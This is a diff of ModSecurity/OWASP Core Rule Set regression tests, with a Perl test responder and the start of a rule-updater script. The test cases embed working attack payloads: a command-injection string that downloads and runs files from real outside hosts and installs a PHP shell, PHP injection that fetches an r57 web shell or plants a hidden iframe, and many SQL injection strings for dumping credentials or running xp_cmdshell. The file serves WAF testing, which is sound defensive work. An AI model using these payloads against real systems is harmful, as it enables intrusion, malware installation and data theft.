%var command=http://ricky.ilmerlodellarocca.com/upload.php;lwp-download%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;wget%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;curl%20-O%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;%20appa.jpg;perl%20appa.jpg;rm%20-rf%20appa.jpg;wget%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;curl%20-O%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;lwp-download%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;mv%20ca.php%20ca.php;chmod%20755%20ca.php
|
||||
%request
|
||||
GET /?foo=$command HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
|
||||
%test PHP Injection Attack (959151)
|
||||
###################################
|
||||
%output 959151
|
||||
%var command=<?exec('wget%20http://r57.biz/r57.txt%20-O shell.php');?>
|
||||
%var command=%3C%3Fphp%20echo(%5C%22KURWA%5C%22)%3B%20file_put_contents(%5C%22.%2Findex.php%5C%22%2C%20base64_decode(%5C%22Pz48aWZyYW1lIHNyYz0iaHR0cDovL3p1by5wb2Rnb3J6Lm9yZy96dW8vZWxlbi9pbmRleC5waHAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZyYW1lYm9yZGVyPSIwIj48L2lmcmFtZT48P3BocA%3D%3D%5C%22)%2C%20FILE_APPEND)%3B%20%3F%3E
|
||||
%request
|
||||
GET /?foo=$command HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test PHP Injection Attack (958976)
|
||||
###################################
|
||||
%output 958976|958977
|
||||
%var php_code=%20%20if%20(!function_exists(%22fs_copy_dir%22))%20%7B%0A%20%20%20%20function%20fs_copy_dir(%24d%2C%24t)%20%7B%0A%20%20%20%20%20%20%24d%20%3D%20str_replace(%22%5C%5C%22%2CDIRECTORY_SEPARATOR%2C%24d)%3B%0A%20%20%20%20%20%20if%20(substr(%24d%2C-1)%20!%3D%20DIRECTORY_SEPARATOR)%20%7B%24d%20.%3D%20DIRECTORY_SEPARATOR%3B%7D%0A%20%20%20%20%20%20%24h%20%3D%20opendir(%24d)%3B%0A%20%20%20%20%20%20while%20((%24o%20%3D%20readdir(%24h))%20!%3D%3D%20FALSE)%20%7B%0A%20%20%20%20%20%20%20%20if%20((%24o%20!%3D%20%22.%22)%20and%20(%24o%20!%3D%20%22..%22))%20%7B%0A%20%20%20%20%20%20%20%20%20%20if%20(!is_dir(%24d.DIRECTORY_SEPARATOR.%24o))%20%7B%24ret%20%3D%20copy(%24d.DIRECTORY_SEPARATOR.%24o%2C%24t.DIRECTORY_SEPARATOR.%24o)%3B%7D%0A%20%20%20%20%20%20%20%20%20%20else%20%7B%24ret%20%3D%20mkdir(%24t.DIRECTORY_SEPARATOR.%24o)%3B%20fs_copy_dir(%24d.DIRECTORY_SEPARATOR.%24o%2C%24t.DIRECTORY_SEPARATOR.%24o)%3B%7D%0A%20%20%20%20%20%20%20%20%20%20if%20(!%24ret)%20%7Breturn%20%24ret%3B%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20closedir(%24h)%3B%0A%20%20%20%20%20%20return%20TRUE%3B%0A%20%20%20%20%7D
|
||||
%var php_code=echo%20sr(15%2C%22%3Cb%3E%22.%24lang%5B%24language.'_text16'%5D.%24arrow.%22%3C%2Fb%3E%22%2C%22%3Cselect%20name%3D%5C%22method%5C%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Coption%20value%3D%5C%22system%5C%22%20%3C%3F%20if%20(%24method%3D%3D%5C%22system%5C%22)%20%7B%20echo%20%5C%22selected%5C%22%3B%20%7D%20%3F%3Esystem%3C%2Foption%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Coption%20value%3D%5C%22passthru%5C%22%20%3C%3F%20if%20(%24method%3D%3D%5C%22passthru%5C%22)%20%7B%20echo%20%5C%22selected%5C%22%3B%20%7D%20%3F%3Epassthru%3C%2Foption%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Coption%20value%3D%5C%22exec%5C%22%20%3C%3F%20if%20(%24method%3D%3D%5C%22exec%5C%22)%20%7B%20echo%20%5C%22selected%5C%22%3B%20%7D%20%3F%3Eexec%3C%2Foption%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Coption%20value%3D%5C%22shell_exec%5C%22%20%3C%3F%20if%20(%24method%3D%3D%5C%22shell_exec%5C%22)%20%7B%20echo%20%5C%22selected%5C%22%3B%20%7D%20%3F%3Eshell_exec%3C%2Foption%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Coption%20value%3D%5C%22popen%5C%22%20%3C%3F%20if%20(%24method%3D%3D%5C%22popen%5C%22)%20%7B%20echo%20%5C%22selected%5C%22%3B%20%7D%20%3F%3Epopen%3C%2Foption%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Coption%20value%3D%5C%22proc_open%5C%22%20%3C%3F%20if%20(%24method%3D%3D%5C%22proc_open%5C%22)%20%7B%20echo%20%5C%22selected%5C%22%3B%20%7D%20%3F%3Eproc_open%3C%2Foption%3E
|
||||
%request
|
||||
POST / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: $CONTENT_LENGTH
|
||||
|
||||
body=$php_code
|
||||
|
||||
|
||||
|
||||
|
||||
%endtest
|
||||
|
@@ -0,0 +1,208 @@
|
||||
%timeout 10
|
||||
|
||||
# File 41 SQL Injection Attacks
|
||||
|
||||
%request
|
||||
GET /?v=$sig HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test SQL Comment Sequence Detected (981231)
|
||||
########################################
|
||||
%output 981231
|
||||
%var sig=SELECT%2F*avoid-spaces*%2Fpassword%2F**%2FFROM%2F**%2FMembers
|
||||
%var sig=%E2%80%98%20or%201%3D1%23%0A
|
||||
%var sig=%E2%80%98%20or%201%3D1--%20-
|
||||
%endtest
|
||||
|
||||
|
||||
%test SQL Hex Encoding Identified (981260)
|
||||
########################################
|
||||
%output 981260
|
||||
%var sig=1%20and%201%3D0%20%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D%2Ctable_name%2C0x5B6B65795D)))%20%20%20FROM%20INFORMATION_SCHEMA.tables%20where%20table_schema%3DConcat(char(109)%2Cchar(101)%2Cchar(115)%2Cchar(115)%2Cchar(110)%2Cchar(101)%2Cchar(114)%2Cchar(98)%2Cchar(95)%2Cchar(119)%2Cchar(114)%2Cchar(100)%2Cchar(49)%2Cchar(50))%20LIMIT%201%2C1--
|
||||
%var sig=999999.9%20union%20all%20select%200x31303235343830303536%2C0x31303235343830303536--
|
||||
%endtest
|
||||
|
||||
|
||||
%test SQL Injection Attack: Common Injection Testing Detected (981318)
|
||||
########################################
|
||||
%output 981318
|
||||
%var sig='%20and%200%20union%20select%201%2C2%2C3%2Cusername%2C5%2Cpassword%2C7%2C8%2C9%2C10%2C11%20from%20%23__users%23
|
||||
%var sig=-1)%20UNION%20SELECT%201%2C2%2C3%2Cconcat(USER()%2C'
|
||||
%endtest
|
||||
|
||||
|
||||
%test SQL Injection Attack: SQL Operator Detected (981319)
|
||||
########################################
|
||||
%output 981319
|
||||
%var sig=-4%20union%20select%201%2C2%2C(select(%40x)from(select(%40x%3A%3D0x00)%2C(select(null)from(information_schema.columns)where(table_schema!%3D0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(%40x%3A%3Dconcat(%40x%2C0x3c62723e%2Ctable_schema%2C0x2e%2Ctable_name%2C0x3a%2Ccolumn_name))))x)--
|
||||
%var sig=14380586%20and%20user()%3C%3E1
|
||||
%var sig=2946%20and%20ascii(substring((user())%2C1%2C1))%3E%3D1%2F*
|
||||
%endtest
|
||||
|
||||
|
||||
%test SQL Injection Attack: SQL Tautology Detected (950901)
|
||||
########################################
|
||||
%output 950901
|
||||
%var sig=-9'%20union%20select%20concat(version())%2C2%2C3%2C4%2C5%2C6and'1'%3D'1
|
||||
%var sig=1'%20or%20'1'!%3D'2%20order%20by%201--
|
||||
%endtest
|
||||
|
||||
|
||||
%test SQL Injection Attack: Common DB Names Detected (981320)
|
||||
########################################
|
||||
%output 981320
|
||||
%var sig=3%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2Cconcat(user()%2Cversion()%2Cdatabase())%2C8%20from%20information_schema.tables
|
||||
%var sig=918%20union%20select%200%2C1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%20from%20msysobjects%20in%20'.'
|
||||
%endtest
|
||||
|
||||
|
||||
%test SQL SELECT Statement Anomaly Detection Alert (981317)
|
||||
########################################
|
||||
%output 981317
|
||||
%var sig=247'%20and%201%3D1%20union%20all%20select%201%2C2%2C3%2C4%2C5%2Cconcat(username%2Cchar(58)%2Cpasswort)%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%20from%20az_user%2F*
|
||||
%var sig=5%20and%201%3D(select%20first%201%20distinct%20rdb%24relation_name%20from%20rdb%24relations%20where%20rdb%24system_flag%3D0)--
|
||||
%endtest
|
||||
|
||||
|
||||
%test Blind SQL Injection Attack (950007)
|
||||
########################################
|
||||
%output 950007
|
||||
%var sig=-2511%20union%20select%20table_name%20from%20sys.all_tables--
|
||||
%var sig=1%20union%20select%201%2Cnull%2Cnull%2Cnull%2Ctable_name%7C%7Cchr(58)%7C%7Ccolumn_name%7C%7Cchr(58)%7C%7Cdata_type%20from%20(select%20a.*%2Crownum%20rnum%20from%20(select%20*%20from%20user_tab_columns%20where%20table_name%3Dchr(76)%7C%7Cchr(79)%7C%7Cchr(71)%7C%7Cchr(73)%7C%7Cchr(78)%7C%7Cchr(83)%20order%20by%20column_name)%20a%20where%20rownum%20%3C%3D%201)%20where%20rnum%20%3E%3D%201--
|
||||
%endtest
|
||||
|
||||
|
||||
%test SQL Injection Attack (950001)
|
||||
########################################
|
||||
%output 950001
|
||||
%var sig=10%20UNION%20exec%20master..xp_cmdshell%20'dir'
|
||||
%var sig=1'%20or%20(select%20count(*)%20from%20(select%201%20union%20select%202%20union%20select%203)x%20group%20by%20concat(mid(concat_ws(0x0b%2Cversion()%2Cuser()%2Cdatabase()%2C%40%40version_compile_os%2C0x0b)%2C1%2C63)%2C%20floor(rand(0)*2)))--
|
||||
%endtest
|
||||
|
||||
|
||||
%test SQL Injection Attack (959070)
|
||||
########################################
|
||||
%output 959070
|
||||
%var sig=-247%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2Cconcat_ws(0x3a%2Cversion()%2Cdatabase()%2CuseR())%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C38%2C39%0A1%20having%201%3D1--
|
||||
%var sig=256%20%20AND%201%3Cascii(substring((SELECT%20column_name%20FROM%20information_schema.columns%20WHERE%20table_name%20like%20char(105%2C109%2C103%2C101%2C115)%20limit%201%2C1)%2C1%2C1))
|
||||
%endtest
|
||||
|
||||
|
||||
%test SQL Injection Attack (959071)
|
||||
########################################
|
||||
%output 959071
|
||||
%var sig=1'%20or%201%3D(SELECT%20TOP%201%20email%20FROM%20cdrequests%20where%20id%3D2000)--
|
||||
%var sig=1'%20or%20'1'%3D'1%20order%20by%201--
|
||||
%endtest
|
||||
|
||||
|
||||
%test SQL Injection Attack (959072)
|
||||
########################################
|
||||
%output 959072
|
||||
%var sig=99999999%20and%201%3D2%20union%20select%201%2Cconcat(user()%2Cchar(58)%2Cversion()%2Cchar(58)%2Cdatabase())%2C3%2C4%2F*
|
||||
%var sig=-9'%20union%20select%20concat(version())%2C2%2C3%2C4%2C5%2C6%2Cand'1'%3D'1
|
||||
%endtest
|
||||
|
||||
|
||||
|
||||
%test SQL Injection Attack (950908)
|
||||
########################################
|
||||
%output 950908
|
||||
%var sig=6%20AND%20ASCII(SUBSTR((COALESCE(5%2C%20NULL))%2C%201%2C%201))%20%3E%2063
|
||||
%endtest
|
||||
|
||||
|
||||
%test SQL Injection Attack (959073)
|
||||
########################################
|
||||
%output 959073
|
||||
%var sig=-120%20union%20all%20select%201%2Ccast(table_name%20as%20text)%20from%20information_schema.columns--
|
||||
%var sig=-1100%20UNION%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2Cconcat_ws(0x2b%2Cversion()%2Cuser()%2C%40%40version_compile_os)%2C10%2C11%2C12%20--
|
||||
%endtest
|
||||
|
||||
|
||||
|
||||
%test Detects blind sqli tests using sleep() or benchmark() (981272)
|
||||
########################################
|
||||
%output 981272
|
||||
%var sig=-207%20union%20select%201%2Cconcat(%40i%3A%3D0x00%2C%40o%3A%3D0x0d0a%2Cbenchmark(23%2C%40o%3A%3DCONCAT(%40o%2C0x0d0a%2C(SELECT%20concat(table_schema%2C0x2E%2C%40i%3A%3Dtable_name)%20from%20information_schema.tables%20WHERE%20table_name%3E%40i%20order%20by%20table_name%20LIMIT%201)))%2C%40o)%2C3%2C4%2C5--
|
||||
%var sig=13%20and%20sleep(3)%23
|
||||
%endtest
|
||||
|
||||
|
||||
%test Detects basic SQL authentication bypass attempts 1/3 (981244)
|
||||
########################################
|
||||
%output 981244
|
||||
%var sig=aaa'%20or%20(1)%3D(1)%20%23!asd
|
||||
%var sig=aa'%20LIKE%20md5(1)%20or%20'1
|
||||
%endtest
|
||||
|
||||
|
||||
%test Detects MSSQL code execution and information gathering attempts (981255)
|
||||
########################################
|
||||
%output 981255
|
||||
%var sig='%20union%20select%20concat(UserId%2Cchar(58)%2CUserPassword)%20from%20users%20into%20outfile%20'content%2F1.php'%2F*
|
||||
%var sig=1'%20or%201%3D(%40%40version%20)%3Bexec%20master..xp_cmdshell
|
||||
%endtest
|
||||
|
||||
|
||||
%test Detects MySQL comment-/space-obfuscated injections and backtick termination (981257)
|
||||
########################################
|
||||
%output 981257
|
||||
%var sig=1%0bAND(SELECT%0b1%20FROM%20mysql.x)
|
||||
%endtest
|
||||
|
||||
|
||||
|
||||
%test Detects chained SQL injection attempts 1/2 (981248)
|
||||
########################################
|
||||
%output 981248
|
||||
%var sig=0%20div%201%20-%20union%23foo*%2F*bar%0Aselect%23foo%0A1%2C2%2Ccurrent_user
|
||||
%endtest
|
||||
|
||||
|
||||
|
||||
%test Detects SQL benchmark and sleep injection attempts including conditional queries (981250)
|
||||
########################################
|
||||
%output 981250
|
||||
%var sig=SELECT%20BENCHMARK(1000000%2CMD5(%E2%80%98A%E2%80%99))%3B
|
||||
%var sig=SELECT%20SLEEP(5)%3B%20%23%20%3E%3D%205.0.12
|
||||
%endtest
|
||||
|
||||
|
||||
%test Detects conditional SQL injection attempts (981241)
|
||||
########################################
|
||||
%output 981241
|
||||
%var sig=1194%20or%201%20group%20by%20concat(version()%2Cfloor(rand(0)*2))having%20min(0)%20or%201--
|
||||
%endtest
|
||||
|
||||
|
||||
%test Detects MySQL charset switch and MSSQL DoS attempts (981252)
|
||||
########################################
|
||||
%output 981252
|
||||
%var sig=-1'%3B%20if%20'1'%3D'1'%3B%20waitfor%20time%20'00%3A00%3A01'--
|
||||
%endtest
|
||||
|
||||
|
||||
|
||||
%test Detects MATCH AGAINST, MERGE, EXECUTE IMMEDIATE and HAVING injections (981256)
|
||||
########################################
|
||||
%output 981256
|
||||
%var sig=-148)%20or%201%20group%20by%20concat(%40%40version%2Cfloor(rand(0)*2))%20having%20min(0)%20or%201%20--
|
||||
%endtest
|
||||
|
||||
|
||||
%test Detects basic SQL authentication bypass attempts 2/3 (981245)
|
||||
########################################
|
||||
%output 981245
|
||||
%var sig=-121%20union%20all%20select%201%2Cgroup_concat(Username%2C0x3a%2CPassword%2C0x3a%2CUserGroup)%2C3%2C4%2C5%20from%20uvp_Users
|
||||
%var sig=-10'%20union%20select%201%2Cconcat_ws(0x3a%2Ctable_name%2Ctable_schema)%2C3%20from%20information_schema.columns%20where%20column_name%20like%20'name'%23
|
||||
%endtest
|
||||
|
||||
|
||||
|
||||
|
@@ -0,0 +1,140 @@
|
||||
# FILE 50
|
||||
%timeout 10
|
||||
|
||||
%test weblogic information disclosure
|
||||
########################################
|
||||
%event 970021
|
||||
%output 970021
|
||||
%request
|
||||
GET /cgi-bin/testserver.cgi HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Response-Status: 500 Internal Server Error
|
||||
Response-Content: <title>JSP compile error</title>
|
||||
|
||||
%endtest
|
||||
|
||||
%test Zope information leakage
|
||||
########################################
|
||||
%event 970007
|
||||
%output 970007
|
||||
%request
|
||||
GET /cgi-bin/testserver.cgi HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Response-Content: <h2>Site Error</h2> <p>An error was encountered while publishing this resource.
|
||||
|
||||
%endtest
|
||||
|
||||
%test CF information leakage
|
||||
########################################
|
||||
%event 970008
|
||||
%output 970008
|
||||
%request
|
||||
GET /cgi-bin/testserver.cgi HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Response-Content: The error occurred in script.cfm: line 11 bla bla bla Please try the following: <br> Check the ColdFusion documentation to verify that you are using the correct syntax. bla bla Stack Trace (click to expand)
|
||||
|
||||
%endtest
|
||||
|
||||
%test PHP information leakage
|
||||
########################################
|
||||
%event 970009
|
||||
%output 970009
|
||||
%request
|
||||
GET /cgi-bin/testserver.cgi HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Response-Content: <b>Warning</b> mysql_fetch_row(): supplied argument ... in /web/jvcjazz/intl_view.php on line 142
|
||||
|
||||
|
||||
%endtest
|
||||
|
||||
%test ISA server existence revealed
|
||||
########################################
|
||||
%event 970010
|
||||
%output 970010
|
||||
%request
|
||||
GET /cgi-bin/testserver.cgi HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Response-Content: 403 Forbidden - The ISA Server denies the specified Uniform Resource ...bla bla bla... Internet Security and Acceleration Server
|
||||
|
||||
%endtest
|
||||
|
||||
%test Local file link
|
||||
########################################
|
||||
%event 970011
|
||||
%output 970011
|
||||
%request
|
||||
GET /cgi-bin/testserver.cgi HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Response-Content: <a href="c:\\documents\\sensitive.doc">This is my sensitive data, do not touch</a>
|
||||
|
||||
%endtest
|
||||
|
||||
%test Microsoft office doc properties leakage
|
||||
########################################
|
||||
%event 970012
|
||||
%output 970012
|
||||
%request
|
||||
GET /cgi-bin/testserver.cgi HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Response-Content: <o:documentproperties>
|
||||
|
||||
%endtest
|
||||
|
||||
%test Directory Listing (apache)
|
||||
########################################
|
||||
%event 971200
|
||||
%output 971200
|
||||
%request
|
||||
GET /cgi-bin/testserver.cgi HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Response-Content: <html> <head> <title>Index of /~avi</title> </head> <body><h1>Index of /~avi</h1><table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr><tr><td valign="top"><img src="/icons/back.gif" alt="[DIR]"></td><td><a href="/~avi/">Parent Directory</a> </td><td> </td><td align="right"> - </td></tr><tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="03.17/">03.17/</a> </td><td align="right">21-Jul-2007 17:20 </td><td align="right"> - </td></tr>
|
||||
|
||||
%endtest
|
||||
|
||||
%test CF source code leakage
|
||||
########################################
|
||||
%event 970016
|
||||
%output 970016
|
||||
%request
|
||||
GET /cgi-bin/testserver.cgi HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Response-Content: <cf
|
||||
|
||||
%endtest
|
||||
|
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/perl
|
||||
use CGI qw/:standard/;
|
||||
$response_status = http('Response-Status') || "200 OK";
|
||||
$response_content = http('Response-Content');
|
||||
$response_type = http('Response-Content-Type') || "text/html";
|
||||
$response_new_header_name = http('Response-Header-Name');
|
||||
$response_new_header_value = http('Response-Header-Value');
|
||||
|
||||
$response_new_header = defined($response_new_header_name) ? $response_new_header_name . ': ' . $response_new_header_value : undef;
|
||||
|
||||
if (defined($response_new_header)) {
|
||||
print header ($response_type, $response_status, undef, undef, undef, undef, undef, undef, undef,$response_new_header);
|
||||
} else {
|
||||
print header ($response_type, $response_status);
|
||||
}
|
||||
print start_html('rule set tester');
|
||||
print h1('rule set tester');
|
||||
print $response_content;
|
24
iis/ModSecurityIIS/owasp_crs/util/rules-updater-example.conf
Normal file
24
iis/ModSecurityIIS/owasp_crs/util/rules-updater-example.conf
Normal file
@@ -0,0 +1,24 @@
|
||||
# This is an example configuration to be used with ruleset-updator.pl -c
|
||||
|
||||
# The repository URI.
|
||||
#RepositoryURI http://username:password@www.example.tld/repository/
|
||||
RepositoryURI http://www.modsecurity.org/autoupdate/repository/
|
||||
|
||||
# Where to download the rulesets to
|
||||
#LocalRepository /path/to/repository
|
||||
|
||||
# Where to unpack the rulesets (if Unpack is true)
|
||||
#LocalRules /path/to/repository
|
||||
|
||||
# What version (or version prefix) to use
|
||||
#Version 1.5
|
||||
|
||||
# Should we unpack the ruleset to LocalRules?
|
||||
Unpack True
|
||||
|
||||
# Email update notifications
|
||||
#NotifyEmail "modsec-admin@example.tld, someone@example.tld"
|
||||
#NotifyEmailFrom "ModSec Rules Updater <modsec-updater@example.tld>"
|
||||
|
||||
# Output lots of debugging info?
|
||||
Debug False
|
454
iis/ModSecurityIIS/owasp_crs/util/rules-updater.pl
Normal file
454
iis/ModSecurityIIS/owasp_crs/util/rules-updater.pl
Normal file
@@ -0,0 +1,454 @@
|
||||
#!/usr/bin/perl
|
||||
#
|
||||
# Fetches the latest ModSecurity Ruleset
|
||||
#
|
||||
|
||||
use strict;
|
||||
use Sys::Hostname;
|
||||
use LWP::UserAgent ();
|
||||
use LWP::Debug qw(-);
|
||||
use URI ();
|
||||
use HTTP::Date ();
|
||||
use Cwd qw(getcwd);
|
||||
use Getopt::Std;
|
||||
|
||||
my $VERSION = "0.0.1";
|
||||
my($SCRIPT) = ($0 =~ m/([^\/\\]+)$/);
|
||||
my $CRLFRE = qr/\015?\012/;
|
||||
my $HOST = Sys::Hostname::hostname();
|
||||
my $UNZIP = [qw(unzip -a)];
|
||||
my $SENDMAIL = [qw(/usr/lib/sendmail -oi -t)];
|
||||
my $HAVE_GNUPG = 0;
|
||||
my %PREFIX_MAP = (
|
||||
-dev => 0,
|
||||
-rc => 1,
|
||||
"" => 9,
|
||||
);
|
||||
my %GPG_TRUST = ();
|
||||
my $REQUIRED_SIG_TRUST;
|
||||
|
||||
eval "use GnuPG qw(:trust)";
|
||||
if ($@) {
|
||||
warn "Could not load GnuPG module - cannot verify ruleset signatures\n";
|
||||
}
|
||||
else {
|
||||
$HAVE_GNUPG = 1;
|
||||
%GPG_TRUST = (
|
||||
&TRUST_UNDEFINED => "not",
|
||||
&TRUST_NEVER => "not",
|
||||
&TRUST_MARGINAL => "marginally",
|
||||
&TRUST_FULLY => "fully",
|
||||
&TRUST_ULTIMATE => "ultimatly",
|
||||
);
|
||||
$REQUIRED_SIG_TRUST = &TRUST_FULLY;
|
||||
}
|
||||
|
||||
################################################################################
|
||||
################################################################################
|
||||
|
||||
my @fetched = ();
|
||||
my %opt = ();
|
||||
getopts('c:r:p:s:v:t:e:f:EuS:D:R:U:F:ldh', \%opt);
|
||||
|
||||
usage(1) if(defined $opt{h});
|
||||
usage(1) if(@ARGV > 1);
|
||||
|
||||
# Make sure we have an action
|
||||
if (! grep { defined } @opt{qw(S D R U F l)}) {
|
||||
usage(1, "Action required.");
|
||||
}
|
||||
|
||||
# Merge config with commandline opts
|
||||
if ($opt{c}) {
|
||||
%opt = parse_config($opt{c}, \%opt);
|
||||
}
|
||||
|
||||
LWP::Debug::level("+") if ($opt{d});
|
||||
|
||||
# Make the version into a regex
|
||||
if (defined $opt{v}) {
|
||||
